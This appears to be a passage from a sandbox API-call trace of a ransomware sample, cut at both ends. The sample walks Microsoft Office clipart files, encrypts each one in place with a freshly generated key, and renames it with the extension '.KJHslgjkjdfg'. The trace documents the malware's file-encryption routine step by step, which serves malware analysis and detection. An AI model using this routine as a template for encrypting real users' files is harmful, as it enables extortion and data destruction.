dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.192] GetProcessHeap () returned 0x990000 [0206.192] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.193] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.193] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.195] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.195] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.195] GetProcessHeap () returned 0x990000 [0206.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.195] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.195] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.195] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.195] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.195] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.196] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.196] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.196] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2fb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2fb8, lpOverlapped=0x0) returned 1 [0206.204] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fc0, dwBufLen=0x2fc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2fc0) returned 1 [0206.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.205] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2fc0, lpOverlapped=0x0) returned 1 [0206.205] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.205] SetEndOfFile (hFile=0x130) returned 1 [0206.208] GetProcessHeap () returned 0x990000 [0206.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.208] GetProcessHeap () returned 0x990000 [0206.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.kjhslgjkjdfg")) returned 1 [0206.209] CloseHandle (hObject=0x130) returned 1 [0206.209] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02424_.WMF", cAlternateFileName="")) returned 1 [0206.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.212] GetProcessHeap () returned 0x990000 [0206.212] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.212] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.212] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.215] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.215] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.215] GetProcessHeap () returned 0x990000 [0206.215] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.215] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.215] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.215] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.215] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.215] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.215] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.215] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.215] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.216] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.216] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x53c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x53c, lpOverlapped=0x0) returned 1 [0206.216] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540, dwBufLen=0x540 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x540) returned 1 [0206.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.216] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x540, lpOverlapped=0x0) returned 1 [0206.216] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.216] SetEndOfFile (hFile=0x130) returned 1 [0206.219] GetProcessHeap () returned 0x990000 [0206.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.219] GetProcessHeap () returned 0x990000 [0206.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.kjhslgjkjdfg")) returned 1 [0206.221] CloseHandle (hObject=0x130) returned 1 [0206.221] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02426_.WMF", cAlternateFileName="")) returned 1 [0206.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.222] GetProcessHeap () returned 0x990000 [0206.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.222] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.224] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.224] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.224] GetProcessHeap () returned 0x990000 [0206.224] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.224] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.225] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.225] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.225] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.225] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.225] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.225] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.225] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.225] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1948, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1948, lpOverlapped=0x0) returned 1 [0206.226] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950, dwBufLen=0x1950 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1950) returned 1 [0206.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.226] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1950, lpOverlapped=0x0) returned 1 [0206.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.227] SetEndOfFile (hFile=0x130) returned 1 [0206.229] GetProcessHeap () returned 0x990000 [0206.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.230] GetProcessHeap () returned 0x990000 [0206.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.kjhslgjkjdfg")) returned 1 [0206.231] CloseHandle (hObject=0x130) returned 1 [0206.231] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02431_.WMF", cAlternateFileName="")) returned 1 [0206.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.232] GetProcessHeap () returned 0x990000 [0206.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.232] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.234] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.234] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.234] GetProcessHeap () returned 0x990000 [0206.234] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.234] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.234] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0206.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0206.235] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.235] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.235] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.235] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c2c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c2c, lpOverlapped=0x0) returned 1 [0206.236] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c30) returned 1 [0206.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.236] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c30, lpOverlapped=0x0) returned 1 [0206.236] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.236] SetEndOfFile (hFile=0x130) returned 1 [0206.238] GetProcessHeap () returned 0x990000 [0206.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0206.238] GetProcessHeap () returned 0x990000 [0206.238] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0206.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.kjhslgjkjdfg")) returned 1 [0206.240] CloseHandle (hObject=0x130) returned 1 [0206.240] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0206.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.241] GetProcessHeap () returned 0x990000 [0206.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0206.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0206.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0206.241] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0206.243] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0206.243] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0206.243] GetProcessHeap () returned 0x990000 [0206.243] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0206.243] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0206.243] CryptDestroyKey (hKey=0x9b6628) returned 1 [0206.243] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, 